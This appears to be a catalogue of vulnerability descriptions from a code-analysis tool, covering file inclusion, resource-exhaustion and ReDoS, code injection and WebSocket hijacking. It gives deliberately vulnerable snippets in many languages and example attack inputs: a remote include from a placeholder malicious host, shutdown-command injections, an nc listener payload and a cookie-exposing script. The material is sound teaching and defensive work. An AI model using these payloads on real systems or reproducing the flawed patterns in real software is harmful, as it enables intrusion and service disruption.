Cross-Site WebSocket Hijacking occurs when a user is tricked into visiting a malicious site that will establish a WebSocket connection with a legitimate backend server. The initial HTTP request used to ask the server for upgrading to WebSocket protocol is a regular HTTP request and so, the browser will send any cookies bound to the target domain including any session cookies. If the server fails to verify the Origin header, it will allow any malicious site to impersonate the user and establish a bidirectional WebSocket connection without the user even noticing.

Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

Example 1: The following is an example of Local File Inclusion vulnerability. The sample code takes a user specified template name and includes it in the JSP page to be rendered.

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

If the attacker specifies a valid file to the dynamic include statement, the contents of that file will be passed to the JSP interpreter to be rendered on the page.

In the case of an attack vector of the form

specialpage.jsp?template=/WEB-INF/database/passwordDB

the JSP interpreter will render the contents of the /WEB-INF/database/passwordDB file to the JSP page thus compromising the security of the system.

Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.

Example 2: The sample code uses the c:import tag to import a user specified remote file into the current JSP page.

...
<c:import url="<%= request.getParameter("privacy")%>">
...

An attack vector of the form

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

can inject malicious code into the current JSP page from a remote site controlled by the attacker.

Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

File inclusion vulnerabilities are one of the most prolific and severe vulnerabilities in PHP applications. Prior to PHP 4.2.0, PHP installations shipped with the register_globals option enabled by default, which permits attackers to easily overwrite internal server variables. Although disabling register_globals can limit a program's exposure to file inclusion vulnerabilities, these problems still occur in modern PHP applications.

Example 1: The following code includes a file under the application defined $server_root in a template.

...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...

If register_globals is set to on, an attacker may overwrite the $server_root value by supplying $server_root as a request parameter, thereby taking partial-control of the dynamic include statement.

Example 2: The following code takes a user specified template name and includes it in the PHP page to be rendered.

...
<?php include($_GET['headername']); ?$gt;
...

In Example 2, an attacker may take complete control of the dynamic include statement by supplying a malicious value for headername, which causes the program to include a file from an external site.

If the attacker specifies a valid file to a dynamic include statement, the contents of that file will be passed to the PHP interpreter. In the case of a plain text file, such as /etc/shadow, the file might be rendered as part of the HTML output. Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them thereby creating a resource exhaustion condition.

Example 1: The following code allows a user to specify the amount of time for which the current work process will sleep. By specifying a large number, an attacker may tie up the work process indefinitely.

...
CALL FUNCTION 'ENQUE_SLEEP'
  EXPORTING
    SECONDS = usrInput.
...

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which the current process will sleep. By specifying a large number, an attacker may tie up the process indefinitely.

  unsigned int usrSleepTime = uatoi(usrInput);
  sleep(usrSleepTime);

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.

Sleep(url.duration);

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a Future function will be executed. By specifying a large number, an attacker may tie up the Future function indefinitely.

  final duration = Platform.environment['DURATION'];
  Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);

Attackers might be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs enable the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: Setting a service timeout with untrusted data can leave the service unresponsive if an attacker sets a large value.

func test(r *http.Request) {
  ...
  i, _ := strconv.Atoi(r.FormValue("TIME"))
  runtime.KeepAlive(i)
  ...
  }

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.

  int usrSleepTime = Integer.parseInt(usrInput);
  Thread.sleep(usrSleepTime);

Example 2: The following code reads a String from a zip file. Because it uses the readLine() method, it will read an unbounded amount of input. An attacker may take advantage of this code to cause an OutOfMemoryException or to consume a large amount of memory so that the program spends more time performing garbage collection or runs out of memory during some subsequent operation.

  InputStream zipInput = zipFile.getInputStream(zipEntry);
  Reader zipReader = new InputStreamReader(zipInput);
  BufferedReader br = new BufferedReader(zipReader);
  String line = br.readLine();

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the size of the file system to be used. By specifying a large number, an attacker may deplete file system resources.

  var fsync = requestFileSystemSync(0, userInput);

Example 2: The following code writes to a file. Because the file may be continuously written and rewritten until it is deemed closed by the user agent, disk quota, IO bandwidth, and processes that may require analyzing the content of the file are impacted.

function oninit(fs) {
  fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
    fileEntry.createWriter(function(fileWriter) {
      fileWriter.seek(fileWriter.length);
      var bb = new BlobBuilder();
      bb.append('Appending to a file');
      fileWriter.write(bb.getBlob('text/plain'));
    }, errorHandler);
  }, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which the system should delay further processing. By specifying a large number, an attacker may tie up the system indefinitely.

procedure go_sleep (
usrSleepTime in NUMBER)
is
  dbms_lock.sleep(usrSleepTime);

Attackers can deny service to legitimate users by flooding the application with requests, however most flooding attacks can be defused at the network layer. More problematic are defects that enable an attacker to overload the application with a small number of requests. These defects enable the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the duration of a connection timeout for the connect function. By specifying a large number, an attacker can tie up the connect function indefinitely.

...
insecure_config_ssl_connection_timeout = {
  'user': username,
  'password': retrievedPassword,
  'host': databaseHost,
  'port': "3306",
  'connection_timeout': connection_timeout
}

mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...

Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.

  Kernel.sleep(user_input)

Example 2: The following code reads a String from a file. Because it uses the readline() method without specifying a limit, it will read an unbounded amount of input. An attacker may take advantage of this code to cause the process to hang whilst consuming more and more memory, until it may potentially run out of memory entirely.

  fd = File.new(myFile)
  line = fd.readline

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is repeated. Additionally, attackers can exploit any regular expression that contains alternate subexpressions that overlap one another. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. Attackers can use this defect to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1: If the following regular expressions are used in the identified vulnerable code a denial of service could occur:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

Example of problematic code relying on a flawed regular expressions:

NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
  //do something
}

Most regular expression parsers build Nondeterministic Finite Automaton (NFA) structures when evaluating regular expressions. The NFA tries all possible matches until a complete match is found. Given the previous example, if the attacker supplies the match string "eeeeZ" then there are 16 internal evaluations that the regex parser must go through to identify a match. If the attacker provides 16 "e"s ("eeeeeeeeeeeeeeeeZ") as the match string then the regex parser must go through 65536 (2^16) evaluations. The attacker may easily consume computing resources by increasing the number of consecutive match characters. There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations which are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating repeating and alternating overlapping of nested and repeated regex groups. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

(e+)+
([a-zA-Z]+)*

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example:

  (e+)+
  ([a-zA-Z]+)*
  (e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.

Example 1: If the following regular expressions are used in the identified vulnerable code a denial of service could occur:

(e+)+
([a-zA-Z]+)*
(e|ee)+

Example of problematic code relying on a flawed regular expressions:

let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
  //do something
}

Most regular expression parsers build Nondeterministic Finite Automaton (NFA) structures when evaluating regular expressions. The NFA tries all possible matches until a complete match is found. Given Example 1, if the attacker supplies the match string "eeeeZ" then there are 16 internal evaluations that the regex parser must go through to identify a match. If the attacker provides 16 "e"s ("eeeeeeeeeeeeeeeeZ") as the match string then the regex parser must go through 65536 (2^16) evaluations. The attacker may easily consume computing resources by increasing the number of consecutive match characters. There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.

Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the report implements a basic calculator that allows the user to specify commands for execution.

...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
             calculator_code_begin user_ops calculator_code_end INTO code_string,
			 'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...

The program behaves correctly when the operation parameter is a benign value. However, if an attacker specifies language operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the injected code accesses system resources or executes system commands. For example, if an attacker were to specify "MOVE 'shutdown -h now' to cmd. CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[]." as the value of operation, a shutdown command would be executed on the host system.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
        var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
        var userOps:String = String(params["operation"]);
        result = ExternalInterface.call("eval", userOps);
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies language operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. In the case of ActionScript, the attacker may utilize this vulnerability to perform a cross-site scripting attack.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
	ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
	ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
	userOps = request.getParameter("operation");
	Object result = scriptEngine.eval(userOps);
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, JavaScript allows invocation of Java objects; if an attacker were to specify " java.lang.Runtime.getRuntime().exec("shutdown -h now")" as the value of operation, a shutdown command would be executed on the host system.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
	userOp = form.operation.value;
	calcResult = eval(userOp);
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the calcResult variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. In the case of JavaScript, the attacker may utilize this vulnerability to perform a cross-site scripting attack.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: The following code uses input from a UITextField to dynamically change the background color of the content within a WKWebView:

...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...

The program behaves correctly when the UITextField input is a benign value, such as "blue", in which case the <body> element within webView would be styled to have a blue background. However, if an attacker provides malicious input that is still valid, he or she may be able to execute arbitrary JavaScript code. For example, because JavaScript can access certain types of private information such as cookies, if an attacker were to specify "white";document.body.innerHTML=document.cookie;"" as input to the UITextField, cookie information would be visibly written to the page. Such attacks are even more dangerous when the underlying language provides access to system resources or allows the execution of system commands, as in those scenarios injected code is executed with the full privilege of the parent process.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
	$userOps = $_GET['operation'];
	$result = eval($userOps);
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify " exec('shutdown -h now')" as the value of operation, a shutdown command would be executed on the host system.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
userOps = request.GET['operation']
result = eval(userOps)
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify " os.system('shutdown -h now')" as the value of operation, a shutdown command would be executed on the host system.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.
Example: In this code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
  user_ops = req['operation']
  result = eval(user_ops)
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. With Ruby this is allowed, and as multiple commands can be run by delimiting the lines with a semi-colon (;), it would also enable being able to run many commands with a simple injection, whilst still not breaking the program.
If an attacker were to submit for the parameter operation "system(\"nc -l 4444 &\");8+7*2", then this would open port 4444 to listen for a connection on the machine, and then would still return the value of 22 to result

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: The following code uses input from a UITextField to dynamically change the background color of the content within a WKWebView:

...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...

The program behaves correctly when the UITextField input is a benign value, such as "blue", in which case the <body> element within webView would be styled to have a blue background. However, if an attacker provides malicious input that is still valid, he or she may be able to execute arbitrary JavaScript code. For example, because JavaScript can access certain types of private information such as cookies, if an attacker were to specify "white";document.body.innerHTML=document.cookie;"" as input to the UITextField, cookie information would be visibly written to the page. Such attacks are even more dangerous when the underlying language provides access to system resources or allows the execution of system commands, as in those scenarios injected code is executed with the full privilege of the parent process.

Many modern languages allow dynamic interpretation of source instructions. This ability can be used when the programmer needs to perform user supplied instructions on data but would rather utilize the underlying language constructs instead of implementing code to interpret the user input. The user supplied instructions are expected to be innocent operations such as small calculations on active user objects, modification of the state of user objects, etc. However, if a programmer is not careful, a user may specify operations outside of the programmer's intentions.

Example: A classic example application that may allow underlying programming constructs to be specified by the user is a calculator. The following ASP code accepts basic mathematical operations from the user to be computed and returned:

...
	strUserOp = Request.Form('operation')
	strResult = Eval(strUserOp)
...

The program's intended behavior holds in an example where the operation parameter is "8 + 7 * 2". The strResult variable returns with a value of 22. However, if a user were to specify other valid language operations, those operations would not only be executed but executed with the full privilege of the parent process. Arbitrary code execution becomes more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify operation as " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" a shutdown command would be executed on the host system.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
        ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
        ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
        userOps = request.getParameter("operation");
        Object result = scriptEngine.eval(userOps);
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, JavaScript allows invocation of Java objects; if an attacker were to specify " java.lang.Runtime.getRuntime().exec("shutdown -h now")" as the value of operation, a shutdown command would be executed on the host system.

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

...
    userOp = form.operation.value;
    calcResult = eval(userOp);
...

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the calcResult variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. In the case of JavaScript, the attacker may utilize this vulnerability to perform a cross-site scripting attack.

Many modern languages allow dynamic interpretation of source instructions. This ability can be used when the programmer needs to perform user supplied instructions on data but would rather utilize the underlying language constructs instead of implementing code to interpret the user input. The user supplied instructions are expected to be innocent operations such as small calculations on active user objects, modification of the state of user objects, etc. However, if a programmer is not careful, a user may specify operations outside of the programmer's intentions.

Example: A classic example application that may allow underlying programming constructs to be specified by the user is a calculator. The following ASP code accepts basic mathematical operations from the user to be computed and returned:

...
        strUserOp = Request.Form('operation')
        strResult = Eval(strUserOp)
...

The program's intended behavior holds in an example where the operation parameter is "8 + 7 * 2". The strResult variable returns with a value of 22. However, if a user were to specify other valid language operations, those operations would not only be executed but executed with the full privilege of the parent process. Arbitrary code execution becomes more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify operation as " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" a shutdown command would be executed on the host system.